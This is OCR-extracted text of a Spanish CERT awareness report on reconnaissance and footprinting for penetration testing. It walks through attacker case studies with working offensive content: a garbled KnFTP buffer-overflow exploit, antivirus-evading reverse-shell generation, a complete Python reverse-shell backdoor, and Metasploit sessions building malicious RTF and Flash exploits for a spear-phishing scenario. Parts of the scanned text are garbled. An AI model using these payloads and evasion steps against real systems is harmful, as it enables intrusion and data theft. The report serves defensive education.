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1. INTRODUCCION

Uno de los pilares fundamentales para cualquier organizacion es la informacion. Mantener la
informacién a salvo garantizando su confidencialidad, integridad y disponibilidad son los
principios bésicos sobre los que se sustenta cualquier politica de seguridad. Garantizar
dichos principios requiere de una arquitectura de seguridad que tenga por objetivo proteger
los activos de informacién mediante un conjunto de estandares, procedimientos y controles.

En este sentido, uno de los aspectos mas delicados al que se enfrentan las organizaciones
es valorar y clasificar la informacién que gobiernan. Este proceso es necesario a la hora de
construir la arquitectura de seguridad con la que se respetaran los principios basicos de la
seguridad de la informacion.

Clasificar la informacién requiere dar un peso cualitativo a los datos para posteriormente
asignarle un nivel de confidencialidad (publica, privada, restringida, etc.). Esta clasificacion
permitird ahorrar costes a la hora de implementar contramedidas proporcionales al riesgo
gue mitigan y que protejan dicha informacion, en la creacion de politicas relacionadas con el
acceso a los datos, en la identificacion de informacién critica para la empresa, etc. Sin
embargo, lejos de parecer sencillo y mas aun en un entorno en el que se cuenta con
multitud de dispositivos y servicios (equipos, servidores, routers, servicios web, DNS, etc.)
resulta complejo valorar el nivel de criticidad de la informacion y determinar cuél de esta
informacién es significativa y cual no lo es.

El éxito de muchos de los ataques e intrusiones que sufren empresas y organizaciones se
debe en gran parte a la cantidad de informacion que directa e indirectamente un atacante es
capaz de obtener sobre sus sistemas. Esta fase, en la que un atacante intenta recopilar la
mayor cantidad de informacién posible de su objetivo, incluso aquella informacién que
conscientemente la organizacién sabe que es publica pero cuyas implicaciones desconoce,
se denomina reconnaissance Yy es, sin duda alguna, una de las mas importantes en el
proceso de intrusion. Durante esta fase, el atacante, haciendo uso de diversas técnicas y
herramientas obtiene nombres de dominio, rangos de red, servicios de maquinas, sistemas
operativos, metainformacion de documentos publicos, etc. con la que mas adelante podra
llevar a cabo un ataque mas especifico.

Una vez mas, el dicho «la Informacion es poder» se ratifica, y esto es algo que conocen
muy bien los cibercriminales, siendo conscientes que a mayor cantidad de informacion
mayor probabilidad de éxito tendrd un ataque posterior. Se propone, como ejemplo, el
siguiente caso.
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Un atacante tiene intencién de comprometer los servidores de la compainiia I1IVOIP, empresa
dedicada a la venta de teléfonos IP. Para ello, comienza investigando informacién sobre su
dominio, servidores DNS, maquinas activas, paginas web, etc. anotando las relaciones que
comparte con otras empresas y disefiando un mapa de red con los rangos IP que
comprende la compafiia. Para ello emplea herramientas como jwhois, la suit Bile, nmap, dig,
etc. Mas adelante, utiliza Maltego y theharvester para intentar localizar informacién sobre
empleados que trabajan en la organizacién. En un instante encuentra multiples cuentas de
correo de algunos de sus empleados asi como foros de debate en los que participan
activamente y donde se discuten las ventajas y desventajas que tienen sus productos frente
a los de la competencia. Posteriormente, utiliza la Foca para obtener metainformacion de
documentos ofiméticos que se encuentran colgados en el dominio [IIVOIP.com. Tras unos
minutos es capaz de conseguir listados de usuarios, direcciones IP internas de la compaiiia,
sistemas operativos, rutas a recursos internos, etc.

Con toda esta informacion, el ciberdelincuente planifica su ataque. Por un lado, utiliza SET
(Saocial Engineer Toolkit) para configurar un clone-site attack mediante un Applet firmado en
Java. Posteriormente, redacta un correo electronico destinado a uno de los empleados en el
gque anima al mismo a que haga clic en una URL adjunta donde podra consultar los detalles
de un nuevo teléfono VOIP. Ademas, para mayor credibilidad, falsifica el remitente del
correo usurpando el dominio de una de las empresas con las que frecuentemente colabora.

El empleado, tras leer el correo abre la URL y acepta el certificado firmado. Acto seguido, el
atacante obtiene una shell con la que mas adelante podra seguir escalando su atague a
otros equipos internos de la compafiia. Este es solo un ejemplo de cémo un ciberdelicuente,
haciendo uso de informacién practicamente publica, puede comprometer una compania.

Ademas de disponer de contramedidas técnicas para contener atagues de este tipo (ej.
Firewalls, IDS/IPS, VLAN, etc), es necesario establecer politicas preventivas que dicten el
correcto uso y gestion de la informacién de la empresa, politicas para el borrado de
metainformacion de ficheros publicos, establecer limitaciones en el uso de cuentas
corporativas, politicas de actualizaciones de software, etc. Por (ltimo, es fundamental
educar y concienciar a los empleados sobre los métodos de ingenieria social empleados hoy
en dia por cibercriminales al ser uno de los recursos mas utilizados para comprometer
equipos. Por ello, con objeto de concienciar a administradores y técnicos de seguridad sobre
los métodos que utilizan los ciberdelicuentes para recopilar informacion sobre entidades y
organizaciones, y ayudar en la proteccion de la informacion y los sistemas, INTECO-CERT
y el CSIRT-cv de la Generalitat Valenciana han colaborado para generar este informe
denominado Information Gathering.
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El presente documento se encuentra dividido en dos partes. Por un lado, se detallaran
herramientas actualmente utilizadas para recopilar informacion de forma externa a la
organizacion. Esta fase, denominada External Fooprinting, contiene ejemplos practicos de
herramientas como Dig, DnsEnum, DnsRecon, Maltego, Pastenum, etc. En segundo lugar,
durante la fase de Internal Footprinting se asumird un entorno en el que el atacante tiene
acceso parcial a la red interna y donde intentara de nuevo conseguir la mayor cantidad de
informacién posible para seguir escalando su ataque a otros equipos dentro de la
organizacion. En este caso se utilizardn herramientas como Metasploit, Snmpwalk, Smb4k,
Satori, Yersinia, etc.

El informe persigue los siguientes objetivos:

e pretende detallar algunas de las técnicas y herramientas utilizadas actualmente
durante el proceso de reconnaissance y footprinting que, como se menciond
anteriormente, comprende las primeras etapas involucradas en cualquier Pen-Test
(test de penetracién) con el fin de determinar cuales son las principales vias de
entrada que considera un intruso a la hora de intentar un ataque contra los recursos
de una organizacién

e trata de ayudar a técnicos de seguridad a implementar medidas preventivas que
ayuden a mitigar ataques que tienen como origen principal la carencia de politicas
de seguridad sobre el control de la informacién

e busca concienciar a responsables de seguridad sobre la importancia de mantener el
software de sus sistemas actualizado y correctamente configurado

e recomienda politicas de seguridad dirigidas a reducir la visibilidad sobre los recursos
corporativos desde Internet o redes externas y trata de prevenir determinados
vectores de ataque que tienen como fin obtener todo tipo de informacién mediante
diversas técnicas
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2. AMBITO Y RESPONSABILIDADES

Antes de realizar cualquier Pen-Test, es necesario, ademas de definir el &mbito en el que se
desarrollara el mismo, tener en cuenta ciertas consideraciones legales™.

Por un lado, hay que definir el tipo de test de intrusién que se llevara a cabo. En este sentido
existen tres metodologias actualmente extendidas en funcidon del conocimiento que el
pentester tenga del sistema que serd auditado y que de forma meramente orientativa, se
describiran a continuacion. En un enfoque Black-Box (Covert pen test), el pentester tiene
conocimiento nulo sobre el sistema que se desea auditar y tendra que hacer uso de los
recursos que disponga para obtener la mayor informacion posible de su objetivo e intentar
comprometer el mismo. Este sera el enfoque empleado en los diversos ejemplos utilizados
en el presente informe por ser el que mas requiere de una fase previa de Intelligence
Gathering. Por otro lado, en un enforque White-box (Overt pen test), el pentester recibe
gran cantidad de informacion del sistema que va a auditar como puede ser la topologia de
red, rangos de IP, sistemas operativos, etc. Lo que se pretende es ahorrar la fase de
Intelligence Gathering al pentester y facilitarle en gran parte la tarea de intrusion para ver si
incluso de esta forma es capaz de encontrar vulnerabilidades en el sistema. Por ultimo, un
entorno Grey-Box trata de combinar los dos primeros enfoques, ofreciendo Unicamente
informacién meramente orientativa al pentester.

Recientemente se ha formalizado un estandar denominado PTES
(Penetration Testing Execution Standard? que recoge un conjunto
de procedimientos y buenas practicas que tratan de servir de punto de
referencia para una industria que hasta ahora no tenia una metodologia
estructurada y definida. EI objetivo es definir un estandar
constantemente actualizado que comprenda cada una de las partes del
proceso de pentesting mediante el uso de determinadas herramientas y procedimientos.
Actualmente dicho estandar divide el proceso de pentesting en las siguientes categorias:
Pre-engagement Interactions, Intelligence Gathering, Threat Modeling, Vulnerability
Analysis Exploitation, Post Exploitation y Reporting. Debido a la extension que
requeriria desarrollar la fase de Intelligence Gathering en su totalidad, el presente informe
Unicamente cubrira determinados aspectos de forma orientativa. Aln asi, y aunque dicho
estandar se encuentra en su version beta a dia de hoy, se trata de una excelente fuente de
informacion para cualquier profesional del sector de la seguridad.

Legal Issues: Is Unauthorized Port Scanning a Crime?
http://nmap.org/book/legal-issues.html
> PTES Technical Guidelines

http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines
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3. IMPORTANCIA DEL FINGERPRINTING

La explotacion de alguna vulnerabilidad suele ser el objetivo principal de todo atacante.
Poder ejecutar codigo en el sistema comprometido para llevar a cabo las acciones
oportunas determina sin duda alguna el éxito de una intrusién. Casos como los del Hydraq
(més conocido como Aurora) donde atacantes utilizando un 0 Day para Internet Explorer
tuvieron por objetivo docenas de organizaciones, entre ellas Adobe Systems, Juniper
Networks, Yahoo, Google, etc. O casos mas recientes como Stuxnet, Duqu3 o la intrusiéon
en RSA mediante phishing con un fichero .xIs malicioso* han puesto de moda el concepto
Advanced Persistent Threat® (A.P.T.). Este término, cominmente usado para referirse a
ciberataques que implican cierto nivel de sofisticacion, y cuyo objetivo principal es el
espionaje y robo de informacién, ha empezado a generar cierto temor en practicamente
cualquier organizacion. Dichos ataques presentan un denominador comun: el atacante
contiene informacibn mas que detallada y precisa de los sistemas objetivo. Para
desempefiar una intrusién de tal envergadura el atacante debe dedicar tiempo a investigar
sobre las redes, sistemas, correos, empleados, software, etc. utilizando diversas
herramientas y técnicas (entre las que se incluye la ingenieria social) para mas adelante
personificar el ataque.

3.1. EXPLOITS/ANTIVIRUS

Conocer la version del sistema operativo y del software instalado es una de las partes
cruciales que cubre el fingerprinting. Esto se debe a que, en la mayoria de los ataques, se
emplean exploits que necesitan ser ajustados previamente con datos concretos que
dependen de la versién exacta del propio software o del sistema operativo. Ejemplo de ello
son los exploits que se aprovechan de un desbordamiento de bufer y que requieren, en
muchos casos, de determinados valores (direcciones de instrucciones) Unicos de cada S.O.
En estos casos, el objetivo del exploit es sobrescribir valores en el stack hasta alcanzar
determinados posiciones de memoria como el return address o la tabla de excepciones
SEH®. Estas variables son reemplazadas por instrucciones (jmp reg, call reg, pop pop ret,
push reg ret, etc.) que permiten saltar al payload dentro de la pila y que proceden en ciertos
casos de librerias del S.O. y cuyas direcciones varian de una version a otra o de un Service
Pack a otro.

Duqu: Status Updates Including Installer with Zero-Day Exploit Found
http://www.symantec.com/connect/w32-duqu_status-updates_installer-zero-day-exploit
Anatomy of an Attack

http://blogs.rsa.com/rivner/anatomy-of-an-attack/

A Perspective on Advanced Persistent Threat
http://blog.securestate.com/post/2011/10/21/A-Perspective-on-Advanced-Persistent-Threat.aspx
Understanding SEH (Structured Exception Handler) Exploitation
http://www.i-hacked.com/content/view/280/42/
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Se deduce, por tanto, que un atacante que conozca las versiones exactas tanto del S.O. asi
como la del software vulnerable, podra construir un exploit capaz de ejecutar cédigo en la
maquina objetivo. En cambio, un exploit incorrectamente «ajustado» seguramente
produciria la caida o bloqueo de la aplicacién vulnerable, frustrando asi las intenciones del
atacante.

Es por este motivo por el que muchos de los exploits disponibles en el Framework
Metasploit” ofrecen la posibilidad de especificar el target (opcién show target) antes de
lanzarlos. La siguiente figura muestra la seccién de codigo encargado de seleccionar la
version exacta del S.O. y donde se muestra el valor de la instruccién ret en cada uno de
ellos.

x77e14c29+¥F 1,
<775F29 } 1,
774699bf } 1,

=> Ox76AA679D } 1,

Figura 1: Show Targets

De la misma forma, si se observan muchos de los exploits disponibles en www.exploit-
db.com, éstos necesitan ser «ajustados» antes de ser lanzados por el motivo comentado
anteriormente. El siguiente ejemplo es un extracto de un exploit remoto contra el servidor
KnFTP®,

En el codigo se aprecia que se hace uso de la instruccién jmp esp para sobrescribir la
direccion de retorno en la funcién en la que se produce el desbordamiento de bufer. La
direccibn de dicha instruccion para un Windows XP SP3 (inglés) es 7C874413
(representada en little endian) y reside en kernel32.dll. Cuando se ejecute el exploit, la
direccién de retorno de la funcién sobrescrita apuntara a 7C874413, que «saltard» a ESP
(debido al jmp esp) donde empezara a ejecutarse el codigo del egghunter® encargado de
buscar y ejecutar el payload en memoria.

Metasploit

http://metasploit.com/

KnFTP Server Buffer Overflow Exploit
http://www.exploit-db.com/exploits/17819/

Safely Searching Process Virtual Address Spac
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

Pentest: Recoleccion de informacién (Information Gathering) 10


http://www.exploit-db.com/
http://www.exploit-db.com/
http://www.exploit-db.com/exploits/17819/

L5

GOBIERNO MINISTERIO
DE ESPANA

iInTeco

DE INDUSTRIA, TURISMO
Y COMERCIO

(AW o P i

é

# 32 byte egghunter

egghunter =(
f\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x 74\xef\x b 8 o
\x54\x30\x30\x 5 7#@&gg - WOOT

f\x8b\xfa\xaf\x75\xea\xaf\x 75\xe7\xff\x e §J o

egg = M\x54\x30\x30\x57\x54\x30\x30\x 5 7 O

buffer = Alx 9 0*¢271 - len(egg + shellcode))

eip = Ax13\x44\x87\x 7 ¢ &t 7C874413 JMP ESP - kernel32.dll
nops =fi\x 9 0*&

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print i [ + ] t % (tavget,port) %d 0

try:

Connecting port

s.connect((target,port))
printi [ +] iShegndpayl oado

s.send(AUSEBRODbI ake

s.recv(1024)

s.send(i P A S & biiffer + egg + shellcode + + nops +@+ fi\r\n ¢

s.recv(1024)
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DT M mmmmmmmm e
[ s =TS

[ FFFFEFFE)
it TFFOEQEE(FFF)
(HO,HE,E,EE, H5, FE, GE, LE]

s.close()

printfi [ +] Payl oad sent successfjfullyo

e
Figura 2: Exploit KnFTP

Si se quisiera lanzar ese exploit por ejemplo contra una maquina Windo

s SP3 en espafiol,

se necesitaria comprobar si existe tal instruccién en dicha direccién. Enfl caso de no ser asi

se necesitaria buscar otra direccion valida (sin null bytes, bad caracte

es, etc.) bien en otra

libreria del S.O. o bien utilizando el propio ejecutable o alguna de sus dlls para hacerlo mas
estable, teniendo en cuenta ciertas contramedidas como safeseh, stack cookies, etc. Como
se ve en la siguiente captura (imagen A), la direccion 7C874413 en un Win SP3 (espariol) no
contiene un JMP ESP, por tanto, si se lanzara este exploit sin modificarlo seguramente

tiraria el servidor FTP abajo. Para construir el exploit de form

efectiva necesitamos buscar

Figura 3: Bad JMP ESP

Figura 4: Call ESP
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En otros casos, el atacante puede tener
mas suerte y contar con un exploit
universal que afecte a un sistema
operativo independientemente de su | .

versi()n o) incluso que e| propio exploit C gh (c 0 i soft C sration. All rights reserved.
pueda hacer un brute-forcelo de tales Figura 5: PHP 6.0 Dev str_transliterate() Buffer overflow - NX + ASLR Bypass
direcciones sin producir una caida de la aplicacién, por ejemplo, en casos en los que un

servicio genera procesos hijos para atender diversas peticiones (ej. servidores web, smb,

etc.).

De la misma forma que conocer el S.O. ayudara enormemente en la elaboracién de exploits,
saber de antemano el antivirus que una organizacién utiliza facilitara y ahorrara también
mucho esfuerzo al atacante. Este dato puede aumentar aun mas las posibilidades de
intrusién si lo que se pretende es «troyanizar» la maquina de la victima. Modificar un binario
con el objetivo de eludir firmas que puedan ser detectadas por el AV serd mucho mas féacil si
se conoce el producto en cuestion. La gran mayoria de AV disponen de firmas para
payloads ampliamente conocidos como Meterpreter, bind/reverse shell, etc. asi como
troyanos y malware de diversa indole. Utilizando encoders, packers, o incluso
manualmente® es posible eludir dichas firmas para hacerlos practicamente indetectables
por la gran mayoria de fabricantes antivirus basados en firmas.

En el siguiente ejemplo se utilizardA msfvenom para generar una staged reverse_shell
(windows/shell/reverse_tcp). La ventaja de un staged payload es que el ejecutable
Unicamente contendra el c4digo necesario para conectar con el equipo del atacante desde
donde se enviara el resto del payload. De esta forma, el proceso nunca guardara en disco el
payload recibido, el cual es susceptible de contener las firmas que alertarian al AV sobre
una posible reverse shell. En el ejemplo también se ha utilizado como encoder
shikata_ga_nai con un total de 12 iteraciones para dificultar ain mas la deteccién por parte
de los los AV. El p a p e rExploit Aiwriting tutorial part 9: Introduction to Win32
shellcodingd? de Corelan es una de las mejores referencias para comprender cémo
trabajan los encoders y como ayudan enormemente no solo a tratar con bad characters a la
hora de desarrollar exploits, sino también a la hora de ofuscar cddigo para evadir sistemas
AV. En la salida generada por VirusTotal.com puede apreciarse como de un total de 42 AV,
ninguno ha identificado como dafiino el ejecutable reverse.exe.

10

Exploit: Dev str_transliterate() Buffer overflow - NX + ASLR Bypass (By Matteo Memelli)
http://www.exploit-db.com/exploits/12189/

Bypassing Anti-Virus in Windows Vista: ShmooCon 2008 Presentation (By Mat i Ah aoutsdn i A
http://www.offensive-security.com/videos/shmoocon-presentation-2008-video/shmoocon-presentation-2008_controller.swf
Exploit writing tutorial part 9 : Introduction to Win32 shellcoding
https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/

11
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(iteration=2)

Virustotal is a service that anal

- VI RUS files and URLSs and facilitates th

of viruses, worms, frojans, a

‘ TOT AL malware detected by antivirus
information...

O VT Community user(s) with a total of 0 reputation credit(s) say(s) this sample is goodware. 0 VT Cemmunity
user(s) with a total of 0 reputation credit(s) say(s) this sample is mahvare.

File name: reverse.exe
Fi r : Rever hell Submission date: 2011-10-29 15:17:08 (UTC)
gu ab Staged everse She Current status: finished
Result: 0/40 (0.0%)

Otra alternativa a http://www.virustotal.com/ para testear los ejecutables sin miedo a que se
puedan generar nuevas firmas para los diversas marcas AV (0 si lo que se pretende es
esconder informacién  confidencial o utilizarlo en otros  proyectos) es
http://vscan.novirusthanks.org/e s pe c i f i ¢ a n Bwnot distrilbupedhie sampl@&o*

Existen numerosos métodos y técnicas para evadir AV por ejemplo, mediante la herramienta
ShellCodeExec', desarrollada por Bernardo Damele, es posible inyectar una
alphanumeric-encoded shellcode en el espacio de direcciones de un proceso haciéndolo de
igual forma practicamnte indetectable. Otro ejemplo que muestra cémo crear un backdoor™
multiplataforma en python (reverse Shell) en apenas 13 lineas y eludiendo los 43 AV lo
proporciona David Kennedy (autor de SET):

#!/usr/bin/python
# imports here
import socket,subprocess
HOST ='172.16.32.137' # The remote host
PORT =443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[¥] Connection Established!’)
# start loop
while 1:
# recieve shell command
data = s.recv(1024)
# if its quit, then break out and close socket
if data == "quit": break
# do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
s.send(stdout_value)
# close socket
s.close()

% Tips for Evading Anti-Virus During Pen Testing
http://pen-testing.sans.org/blog/2011/10/13/tips-for-evading-anti-virus-during-pen-testing

 Execute Metasploit payloads bypassing any anti-virus
http://bernardodamele.blogspot.com/2011/04/execute-metasploit-payloads-bypassing.html

% Creating a 13 line backdoor worry free of AV
http://www.secmaniac.com/blog/2011/06/20/creating-a-13-line-backdoor-worry-free-of-av/
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Muchas organizaciones . . g
. . _ Informacion de ESET NOD32 Antivirus, version de la base de firmas
sin ser conscientes de de virus 5847 (20110204)

esto, reenvian correos
donde puede verse el
tipo de software AV que
emplean o directamente Figura7:iNOD32 Antivirus ha comprobad

ESET NOD32 Antivirus ha comprobado este mensaje.

hitp:herww . eset.com

son victimas de

ingenieria social y donde, sin mucho esfuerzo, ellos mismos delatan el tipo de antivirus
utilizado. En libros como «El arte del engafio»'® de Kevin Mitnick o «Social Engineering:
The Art of Human Hacking»'’, de Christopher Hadnagy, se describen hechos reales y
casos de estudio donde se refleja la eficiencia de la ingenieria social y donde se pone de
manifiesto que en muchos casos la labia y la psicologia™® son mas eficientes que la propia
tecnologia para conseguir informacion.

Queda claro por tanto, que cualquier dato que proporcione informacion acerca de los
sistemas que se planea comprometer seran puntos a favor para el atacante y esto es
precisamente lo que cubre la fase de Information Gahering. Bien de forma pasiva o activa,
esta fase comprende un conjunto de técnicas que permiten obtener informacion sobre el
entorno de la victima. Por ejemplo, una de estas partes denominada Fingerprinting se
encargard de localizar el mayor numero de maquinas/redes y dispositivos asi como
servicios y versiones de los S.O.

A modo de ejemplo practico, y para poner de manifiesto la importancia de estas técnicas, a
continuacion se propondran 3 casos de intrusién, los cuales cubrirdn varios objetivos. Por
una parte, mostrar la facilidad con la que hoy en dia es posible planificar un ataque sin
necesidad de ser un experto. Y, por otra, concienciar a administradores y responsables de
seguridad de la importancia que tienen las politicas de seguridad orientadas a controlar de
forma exhaustiva la informacion de una organizacion.

NOTA: Los datos referentes a personas o sitios utilizados en los ejemplos son ficticios por lo que no
representan a entidades ni personas fisicas reales.

16

Book: The Art of Deception
http://www.amazon.com/Art-Deception-Controlling-Element-Security/dp/0471237124
Book: Social Engineering, The Art of Human Hacking
http://www.amazon.com/Social-Engineering-Art-Human-
Hacking/dp/0470639539/ref=sr_1_1?s=books&ie=UTF8&Qqid=1318593538&sr=1-1
Tactics of Social Engineer

http://www.social-engineer.org/category/tactics/
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3.2. CASO 1: SPEAR PHISHING ATTACK

Como ejemplo analogo al descrito en la introduccion, a continuacion se mostrara como un
ciberdelincuente puede planear un ataque para infiltrarse en una organizacion. Tras dedicar
gran cantidad de tiempo, con herramientas como Nmap, Nessus, Nikto, etc. con el objetivo
de buscar informacion sobre el dominio, equipos, puertos abiertos, topologia de red,
firewalls/IDS, servicios corriendo, etc., sin encontrar una puerta de entrada o un vector de
ataque, el atacante, como ultimo recurso, decide llevar a cabo un Spear-Phishing Attack'®.
La idea de este ataque es enviar un documento malicioso a la victima y utilizar un poco de
ingenieria social para que lo abra.

El primer paso que lleva a cabo es conseguir la mayor cantidad posible de informacién sobre
empleados de la organizacion, esto es, correos electrénicos, nombres de usuario, perfiles,
etc. Para ello utiliza las herramientas theHarvester, la Foca y Maltego. TheHarvester®
permite obtener listas de nombres y emails indexados por motores de busqueda como
Google, Bind o Linkedin ademas de proporcionar DNS Enumeration, Reverse lookups, etc.

En su udltima version, ademas, incorpora la base de datos de SHODAN permitiendo obtener
banners y puertos de diferentes fuentes publicas.

Tras investigar un rato, el ciberdelicuente encuentra gran cantidad de emails publicos asi
como metainformacion en documentos ofimaticos publicados en el propio dominio de la
organizacion. Comparando la salida de dichas herramientas empieza a correlacionar
informacién observando, por ejemplo, que usuarios con perfiles publicos en servicios como
Linkedin son autores de algunos de los documentos publicados. La herramienta Foca®
permite extraer metadatos de gran variedad de documentos ofimaticos localizados por
medio de motores de blsqueda, como Google o Bind. Mucha de esta metainformacion,
ignorada por la propia compafia en muchas ocasiones, puede proporcionar informacion
valiosa para un atacante: IPs privadas, emails, nombres de usuario, software utilizado, etc.

En la salida, el usuario Antonio Galindo con correo agalindo@dominio.es, dispone de varios
papers técnicos sobre Switching/Routing con metadatos interesantes.

¥ Definition: Spear Phishing

http://searchsecurity.techtarget.com/definition/spear-phishing

The Harvester

http://code.google.com/p/theharvester/

Foca: Informatica64

http://www.informatica64.com/DownloadFOCA/

Fear the Foca by Chema Alonso
http://www.troopers.de/wp-content/uploads/2011/04/TR11_Alonso_Fear_the_FOCA.pdf
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root@bt:~/theHarvester-ng# python theHarvester.py -d dominio.es -1 200 -b google > /tmp/mails
root@bt:~/theHarvester-ng# python theHarvester.py -d dominio.es -1 200 -b linkedin > /tmp/linkedin
root@bt:~/theHarvester-ng# cat /tmp/mails | grep @dominio > correos
root@bt:~/theHarvester-ng# cat correos

security@dominio.es

agalindo@dominio.es

mperezvi@dominio.

Antonio Galindo

Robel’to Merino ] * File <> Metadata o Domain Enumeration L Software Recognition Tools ] | Logs ¢ Options &~ About
Ignacio Martin Network data | [ Metadata .
Sara Pedrero T Wsj;uam Hands On Lab 2011
€ 1 JSM[M Nuvos Seminarios y producios
: ar
8§ Elobsd ikt cod e st
Atribute
ile Infermation
hitp:) icha doc

Ci\Users [ orData’ Local\ Temp icha doc
Yes

Yes

22/09/2011 1056:26

1155K8

o S —
Usemame A

15 By

TSz oA OORORODRTY

+ Printers
% Prirter Yeerax WorkCentre 7132 PCL 6Ne01:Xerox WorkCentre 7132 PCL EXerx WorkCentre 713
Figura 8: Metadatos con Foca, Username
Por un lado, todos sus documentos revelan
que dispone de la version Microsoft Office |~
XP y que la maquina es un Windows XP. Creatondate 07/04/2011 10:48:00
, Printed date 28/02/2011 11:59:00
Ademas, observando las horas en las que  todied date 07/04/2011 10:48:00
i . . . . Other Metadata
crea y modifica dichos ficheros junto al tipo
H Encoding Latin |
de impresora empleada, hace pensar que se P —
trata del equipo de trabajo de dicho usuario. Zt:t-wcs ;aoes 1 Words: 144 Characters: 795 Lines: § Paragraphs: 1
VISIONS
Template Nomnal
Teniendo en cuenta dicha versién de Office Operating system

el atacante se decanta por utilizar el exploit
ms10_087_rtf_pfragments_bof.rb. Dicho
exploit (CVE-2010-3333) aprovecha una vulnerabilidad® en ficheros Microsoft Word RTF

que afecta a una amplia gama de productos Office. La vulnerabilidad permite un
desbordamientodebiferbasado en pila en el par §paesearum OpFr aq
fichero RTF. Para generar el exploit utiliza Metasploit:

Figura 9: Metadatos con Foca, Operating System

2 Analysis of CVE 2010-3333 Microsoft Office RTF File Stack Buffer Overflow Vulnerability
http://0x1byte.blogspot.com/2011/02/cve-2010-3333-microsoft-office-rtf-file.html
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msf > use windows/fileformat/ms10_087_rtf_pfragments_bof

msf exploit(ms10_087_rtf_pfragments_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(ms10_087_rtf_pfragments_bof) > set LHOST | R
LHosT => I

msf exploit(ms10_087_rtf_pfragments_bof) > set LPORT 443

LPORT => 443

msf exploit(ms10_087_rtf_pfragments_bof) > set FILENAME routing_map.rtf
FILENAME => routing_map.rtf

msf exploit(ms10_087_rtf_pfragments_bof) > exploit

[]Creating 6routing_map.rtfdo file

[*] Generated output file /opt/framework3/msf3/data/exploits/routing_map.rtf

Teniendo en cuenta la escasa preocupacion de la victima por mantener su software
actualizado, el atacante decide emplear un segundo exploit de respaldo que afecta a Adobe
Flash Player. La vulnerabilidad® explotada es CVE-2011-0609, la misma utilizada para
comprometer los sistemas de RSA mediante un fichero .xls con un swf embebido. Dicha
vulnerabilidad se aprovecha de una validacién incorrecta de bytecode por parte de la
ActionScript Virtual Machine (AVM) permitiendo ejecutar cédigo por medio de heap
spraying®. La vulnerabilidad afecta a Adobe Flash Player 10.2.152.33 e inferiores versiones
para Windows, Macintosh, Linux y Solaris. El exploit disponible en Metasploit es valido para
IE6, IE7 y Firefox 3.6 asi que si hay un poco de suerte y la victima dispone de alguna de
estas versiones conseguira shell.

msf > use exploit/windows/browser/adobe_flashplayer_avm

msf exploit(adobe_flashplayer_avm) > set SRVHOST | N

srvHOST => I

msf exploit(adobe_flashplayer_avm) > set SRVPORT 80

SRVPORT => 80

msf exploit(adobe_flashplayer_avm) > set URIPATH /networking/listadolOS/
URIPATH => /networking/listadolOS/

msf exploit(adobe_flashplayer_avm) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(adobe_flashplayer_avm) > set LHOST | NI

LHosT => I

msf exploit(adobe_flashplayer_avm) > set LPORT 443

LPORT => 443

msf exploit(adobe_flashplayer_avm) > exploit

[*] Exploit running as background job.

[*] Started reverse handler on | NN 443

[*] Using URL: http://| N 80/networking/listadolOS/

% Analysis of Adobe Flash CVE-2011-0609
http://blog.metasploit.com/2011/03/adobe-flash-cve-2011-0609.html
Heap Overflows for Humans

https://net-ninja.net/blog/?p=674
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Por tanto, el atacante dispone de un fichero RTF malicioso y un servidor http falso corriendo
en el puerto 80 esperando alguna peticion. Ademas, tiene un handler en el puerto 443
esperando una shell en el caso de que algunas de las vulnerabilidades sea explotada. El
siguiente paso es enviarle un email incitAndole a que, o bien abra dicho fichero o bien visite
la URL. Aqui es donde entra en juego la ingenieria social. Tras leer alguno de los post en
los que la victima participa, observa que técnicos de varias empresas discuten sobre
ventajas e inconvenientes de ciertos protocolos de routing en determinados escenarios.

@ Re: Configuracion OSPF
« Reply #1 on: Sep 15, 2011, 13:21:10 AM =

Buenas de nuevo agalindo. Te recomiendo que pongas tres routers en ese caso para implementer OSPF, no tendria muche sentide emplear dos routers teniendo
en cuenta esa topolegia. Un problema similar nos encentramos en una de las redes de . Para solucionar el problema tuvimos que hacer lo
siguiente:

Nodo 1 (router) >--> Lan Intermna <--> OSPF (Ller router) <--> Lan TRL <--> router 2

Si quieres enviame la config del primer router --> _ [at]- 52
Figura 10: Configuracion OSPF (Foro Networking)

Con toda esta informacion decide crear un correo suplantando la direccion de alguno de
estos usuarios. Esto aumentaria las posibilidades de que la victima abra un correo
procedente de los  mismos.
Previamente comprueba si algunos
de los dominios pertenecientes a
dichos usuarios contienen registros
SPF (Sender ID)?:

mx -all"

a:edge N -Gl

Sd quleres

un saludo E : ] data/exploits/r

Email was s Liy! Adobe Flash Player Exploit
Microsoft Word RTF Exploit

Figura 12: SendEmail
CONFIGURACION OSPF

. . .. strar detalles 23
El usuario, tras abrir el correo pulsa en el enlace abriéndose resE R L
Buenos diss Antonio. Estuve probando en uno de los routers

el navegador y ejecutandose el exploit. El atacante recibe | s miL#5 o que me comertaste. Posilemente sea un

problema del key-id. Adiunta te envio un plano con ks topaologia

un mall de ConﬁrmaCién y una SeSién de Meterpreter gue te comenté. También te dejo la u de uno de nuestro server

H H . por i guieres descargarte alguna config --=
teniendo acceso total al sistema comprometido. i :IHEDMWWHH listagoloS) Espera que te

sirva. un saludo )

[y routing_map.rf
102K Descardar

% geguridad en el correo electrénico (SPF)
http://www.hacktimes.com/seguridad_en_el_correo_electr_nico_spf/

Pentest: Recoleccion de informacién (Information Gathering) 18


http://www.hacktimes.com/seguridad_en_el_correo_electr_nico_spf/

i

GOBIERNO
DE ESPANA

L oQucL.=0 InTeco i b i ®; (SIRT-CV
DE INDUSTRIA, TURISMO le Tecnologias -
Y COMERCIO de la Comunicacién
Centre Seguretat TIC
de lo Comunitat Valenciano

Desde ahi podra escanear y «saltar» a otras maquinas y redes mediante técnicas como
pivoting (5.1.1), consiguiendo asi comprometer la organizacion al completo. En la imagen,
